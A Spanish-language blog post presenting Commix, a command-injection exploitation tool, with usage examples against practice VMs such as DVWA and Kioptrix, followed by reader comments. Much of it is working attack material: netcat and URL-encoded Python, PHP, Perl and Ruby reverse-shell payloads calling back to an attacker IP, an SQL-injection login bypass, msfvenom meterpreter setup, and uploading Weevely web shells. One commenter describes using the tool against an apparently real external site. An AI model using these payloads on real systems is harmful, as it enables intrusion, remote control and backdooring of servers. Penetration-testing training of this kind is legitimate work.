Commix: herramienta todo-en-uno para explotar vulnerabilidades de inyección de comandos

Commix ([comm]and [i]njection e[x]ploiter) es una herramienta de Anastasios Stasinopoulos (@ancst) que te permitirá encontrar y explotar de forma muy fácil y rápida vulnerabilidades de inyección de comandos en ciertos parámetros y cadenas vulnerables de un servidor web. 


Está escrito en Python (2.6.x o 2.7.x) y está incluida en los repositorios oficiales de:

Pre-instalada en:
O puedes clonar directamente el repositorio Git:

git clone https://github.com/stasinopoulos/commix.git commix

Para obtener una lista de todas las opciones disponibles:

python commix.py -h


Ejemplos de uso

1. Explotando
Damn Vulnerable Web App:

root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

2. Explotando
php-Charts 1.0
usando payloads inyectados en cadenas en sufijos y prefijos:

root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"

3. Explotando OWASP Mutillidae usando cabeceras extras y un proxy HTTP:

root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"


4. Explotando
Persistence
usando la técnica de exfiltración ICMP:

root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"

5. Explotando
Persistence usando un shell (python) alternativo:

root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --alter-shell="Python"

6. Explotando
Kioptrix: Level 1.1 (#2):

root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=INJECT_HERE&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"


7. Explotando Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:

root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"

8. Explotando CVE-2014-6271/Shellshock:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock

9. Explotando commix-testbed (cookie) usando inyección basada en cookies:

root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/cookie/cookie(blind).php" --cookie="addr=INJECT_HERE"


Y otros ejemplos un poco más elaborados:

1. Shell inverso con Netcat (nc)

Paso 1. prepara el shell con Netsat

Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.

root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...


Paso 2. Ejecuta netcat via commix.

En un pestaña/shell diferente, ejecuta:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="nc -e /bin/sh 192.168.178.3 1234"

Paso 3. Disfruta del shell inverso netcat.

root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 36746
whoami
www-data


2. Shell inverso con Netcat-sin-netcat

En los siguiente ejemplos (inspirados en el post de Pentestmonkey "Reverse Shell Cheat Sheet") prepararemos un shell inverso de netcat, ¡sin usar netcat!

Paso 1. prepara el shell con Netsat

Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.

root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...


Paso 2. Elige uno de los siguientes payloads de shell inversos netcat-sin-netcat a través de Commix (por ej. mediante la opción "--os-cmd"):

1. Python-reverse-shell:

%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60
2. PHP-reverse-shell:

%60php+-r+'%24sock%3Dfsockopen(%22192.168.178.3%22%2C1234)%3B+exec(%22%2Fbin%2Fsh+-i+<%263+>%263+2>%263%22)%3B'%60

3. Perl-reverse-shell:

%60perl+-e+'use+Socket%3B%24i%3D%22192.168.178.3%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C%22>%26S%22)%3Bopen(STDOUT%2C%22>%26S%22)%3Bopen(STDERR%2C%22>%26S%22)%3Bexec(%22%2Fbin%2Fsh+-i%22)%3B}%3B'%60

4. Ruby-reverse-shell:

%60ruby+-rsocket+-e'f%3DTCPSocket.open(%22192.168.178.3%22%2C1234).to_i%3Bexec+sprintf(%22%2Fbin%2Fsh+-i+<%26%25d+>%26%25d+2>%26%25d%22%2Cf%2Cf%2Cf)'%60

Vamos a suponer que queremos un shell inverso en la "192.168.178.3" y puerto "1234" con Python-reverse-shell. Simplemente en un pestaña/shell diferente, ejecuta:

root@kali:~/Desktop/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60"


Paso 3. Disfruta del shell inverso netcat-sin-netcat:

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 43712
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data


Subir web-shells con Commix

Además Commix permite subir un web-shell (por ejemplo PHP meterpreter) fácilmente en el objetivo:

1. Sube un shell PHP de meterpreter (metasploit) al objetivo:

Paso 1: Crea el shell PHP meterpreter (mediante msfvenom)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php

Nota: No olvides añadir "" en el fichero msfvenom.php

Paso 2: Arranca el handler (via msfconsole)

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...


Paso 3: Usa commix para crear "msfvenom.php" en el directorio "/var/www/" del objetivo y ejecútalo:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"

Paso 4: Disfruta de tu shell!

[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400

meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >


2. Sube un web-shell PHP Weevely PHP al objetivo

Paso 1 : Crea el web shell PHP

weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'


Paso 2: Usa commix para crear "weevely.php" en el directorio "var/www/html/cmd/" del objetivo:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"

Paso 3 : Disfruta de tu shell!

weevely http://192.168.178.4/cmd/weevely.php commix
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/192.168.178.4/weevely.session'

www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root     root     4096 May 18 02:02 .
drwxrwxrwx 8 root     root     4096 May 14 01:49 ..
-rw-rw-rw- 1 root     root      353 May  8 03:28 normal.php
-rw-r--r-- 1 www-data www-data  606 May 18 02:02 weevely.php

Máquinas virtuales con aplicaciones web vulnerables (para aprendizaje)

Demos de explotación

Desarrollo de módulos

¿Quieres aumentar las capacidades de la herramienta commix y/o adaptarlo a tus necesidades? Puedes desarrollar fácilmente e importar tus propios módulos. Para más información, consulta la página wiki 'desarrollo de módulos".


Fuente: https://github.com/stasinopoulos/commix

10 comentarios :

  1. hola capitan sigo tu blog de hace mucho,nunca he tenido que escribirte nada porque tus post son esplendidos y bien explicados pero ahora no me queda otro remedio cada ves que obtengo shell utilizando el cve 2014 6271 (shellshock) me tira la shell correctamente pero voy a tipear ejm: whoami,ls,etc etc me tira el codigo html de la web no me deja hacer mas nada espero tu respuesta utilizo win 7 professional y blackarch en virtual he probado en los dos y me sale lo mismo ya van dos de dos que me pasa esto gracias

    ResponderEliminar
    Respuestas
    1. no he probado Commix en Blackarch... ¿Exactamente que error te tira?

      Eliminar
    2. Meu amigo Motos - internet é uma ferramenta fantástica quando se precisa achar alguém. Estou tentando contato contigo mas você não me responde no seu e-mail do IG - POR FAVOR, entre no seu e-mail do IG ou contate-me no meu celular 55 11 994194104

      Eliminar
    3. Hola Wilson, el único medio de contacto es comentando el blog o escribiendo a nuestra cuenta de correo de Hackplayers. Gracias,!

      Eliminar
  2. este exactamente en cualquier comando que ejecute.

    pongo el vector vulnerable: python commix.py --url="http://xxx.xxx.org/cgi-bin/oceanl/oceanl.sh" --shellshock

    sensure el link por si acaso si quieres te lo mando en privado y al ejecutarlo me da la shell correctamente.

    imagenes subidas a fpaste: https://paste.fedoraproject.org/249795/66707143/

    y sale siempre lo mismo cada ves que ejecuto un comando el codigo fuente xD.

    aver si tienes una idea de esto gracias un abrazo!!!!

    ResponderEliminar
    Respuestas
    1. tengo el mismo comportamiento con Commix desde Kali...
      la causa parece ser que la URL no es vulnerable a ShellShock, de hecho oceanl.sh no es un shell script...XD

      Eliminar
  3. ahhhh no =)?¿? xDDD...!!jajaja como me obtenia la shell pense que si??? jajaja y entonces .sh que es¿? bueno un saludo crack

    ResponderEliminar
    Respuestas
    1. Jajaja pues yo creo que es simple html... No se por qué le han puesto la extensión sh pero me temo que se trata de un falso positivo.

      Saludos!

      Eliminar
    2. ok gracias por tu ayuda me sirvio de mucho ya se para la proxima ves....

      Eliminar
    3. Este comentario ha sido eliminado por el autor.

      Eliminar